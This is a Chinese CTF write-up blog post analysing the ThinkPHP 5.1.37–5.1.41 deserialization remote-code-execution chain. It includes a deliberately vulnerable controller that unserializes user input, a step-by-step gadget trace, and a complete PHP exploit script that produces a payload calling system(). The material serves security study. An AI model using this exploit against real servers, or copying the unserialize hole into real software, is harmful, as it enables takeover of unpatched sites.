首页 > 编程语言 >thinkphp5.1反序列化RCE

thinkphp5.1反序列化RCE

时间:2022-10-10 18:02:02浏览次数:98  
标签:__ function return name filter relation RCE thinkphp5.1 序列化

thinkphp5反序列化RCE

thinkphp5.1.37-5.1.41

NewStarCTF

第三周Web题目

Maybe You Have To think More

ThinkPHP 5框架反序列化RCE

正好来研究一下php框架反序列化

php反序列化

魔法函数

  • __construct:new一个对象时。
  • __destruct:对象销毁或脚本结束时。
  • __get:读取不可访问或不存在的属性时
  • __set:为不可访问或不存在的属性赋值时
  • __wakeup:反序列化时
  • __sleep:序列化时
  • __isset:对不可访问的属性使用isset()empty()
  • __unset:对不可访问的属性调用unset()
  • __toString:当一个对象被当作字符串处理时
  • __invoke:当一个对象被当作函数进行调用时
  • __call:当调用不可访问的方法时
  • __callstatic:当调用不可访问的静态方法时

php反序列化的常见入口、跳板和终点

1. 常见入口

__wakeup__destruct__toString

2. 常见跳板

__toString__get__set__isset

3. 常见终点

__callcall_user_funccall_user_func_array

靶场环境搭建

部署phpthink5环境

github源码

使用composer update命令下载缺少的文件,将./public部署到phpstudy上成功打开网站

搭建反序列化入口

\application\index\controller\index.php文件

<?php
namespace app\index\controller;

class Index{
    public function index(){
        @unserialize($_GET['hack']);
		return 'thinkPHP5';
    }
}

漏洞分析

过程

__destruct()->removeFiles()->file_exists()
->__toString()->toJson()->toArray()
->__call()->isAjax()->parama()->input()->filterValue()

分析

thinkphp\library\think\process\pipes\Windows.php 第56行 __destruct()

public function __destruct()
{
    $this->close();
    $this->removeFiles(); //跟进
}

跟进59行的removeFiles()到第160行removeFiles()

163行的file_exists()$filename当作字符串进行处理,会触发任意类的__toString方法

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {	//跟进
            @unlink($filename);
        }
    }
    $this->files = [];
}

全局搜索__toString

thinkphp\library\think\model\concern\Conversion.php文件第242行存在__toString

跟进244行的toString()

public function __toString()
{
    return $this->toJson(); //跟进
}

继续跟进226行的toJson()到226行

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options); //跟进toArray()
}

继续跟进228行的toArray()到131行

184行处$this->append可控,因此$key$name可控

$name是数组时,进入188行,调用getRelation方法,跟进

public function toArray()	//131行
{
    ...
    if (!empty($this->append)) {	//184行
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象属性
            $relation = $this->getRelation($key);  //188行 getRelation()返回为空

            if (!$relation) {
                $relation = $this->getAttr($key);
                if ($relation) {
                    $relation->visible($name);
                }
            }
}

thinkphp\library\think\model\concern\RelationShip.php文件87行getRelation()

该函数返回空,回到上面的toArray()

public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

thinkphp\library\think\model\concern\Conversion.php文件131行toArray()

$relation为空,继续代码到191行的getAttr()

		if (!$relation) {
            $relation = $this->getAttr($key); //跟进
            if ($relation) {
                $relation->visible($name); 
            }
        }

thinkphp\library\think\model\concern\Attribute.php第472行getAttr()

getAttr返回的是getData($name),继续跟进getData()

public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name); //跟进
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }
    ...
    return $value
}

265行getData()

返回了this->data

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

因为getDatathis->data可控,所以getAttr$value也可控,因此getAttr$relation也可控

thinkphp\library\think\model\concern\Conversion.php文件131行toArray()

控制$relation为一个类对象,但因为visible方法不存在,自动触发__call魔法方法

public function toArray(){
	...
	$relation = $this->getAttr($key);
	if ($relation) {
		$relation->visible($name); //跟进
	}
	...
}

thinkphp\library\think\Request.php文件327行__call()

存在call_user_func_array仿佛看到了曙光,但是上一行的array_unshift$this对象插入到了$args数组首位

这样就限制了我们只能去用当前Request()对象的方法

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

1655行is_Ajax()

$this->config['var_ajax']可控,跟进$this->param()

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result           = $this->param($this->config['var_ajax']) ? true : $result; //跟进
    $this->mergeParam = false;
    return $result;
}

933行param()

继续跟进$this->input()

public function param($name = '', $default = null, $filter = '')
{
	...
    return $this->input($this->param, $name, $default, $filter);
}

1352行input()

$name是可控的(上一步的参数),因此$data可控,跟进$this->filterValue

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
	...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
   		...
    } else {
        $this->filterValue($data, $name, $filter); //跟进
    }
}

14456行filterValue()

$data可控,因此$value可控,还差一个$filter关键参数就可以call_user_func为所欲为了

private function filterValue(&$value, $key, $filters)
{
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
       ...

回到1352行input()$filters参数

跟进$this->getFilter()

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
	...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default); //跟进

    if (is_array($data)) {
   		...
    } else {
        $this->filterValue($data, $name, $filter); 
    }
}

1433行getFilter(),$filter可控,直接返回$this->filter

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;

    return $filter;
}

filterValue()中的call_user_func()参数全部凑齐且可控,达成RCE

复现

exp

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["dir","calc"]];
        $this->data = ["ethan"=>new Request()];
	}
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
    'var_method'       => '_method',// 表单请求类型伪装变量
    'var_ajax'         => '_ajax',// 表单ajax伪装变量
    'var_pjax'         => '_pjax',// 表单pjax伪装变量
    'var_pathinfo'     => 's',// PATHINFO变量名 用于兼容模式
    'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 兼容PATH_INFO获取
    'default_filter'   => '',// 默认全局过滤方法 用逗号分隔多个
    'url_domain_root'  => '',// 域名根,如thinkphp.cn
    'https_agent_name' => '',// HTTPS代理标识
    'http_agent_ip'    => 'HTTP_X_REAL_IP',// IP代理获取标识
    'url_html_suffix'  => 'html',// URL伪静态后缀
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
    public function __construct()
    {
    	$this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

标签:__,function,return,name,filter,relation,RCE,thinkphp5.1,序列化
From: https://www.cnblogs.com/zhoujinxuan/p/16776664.html

相关文章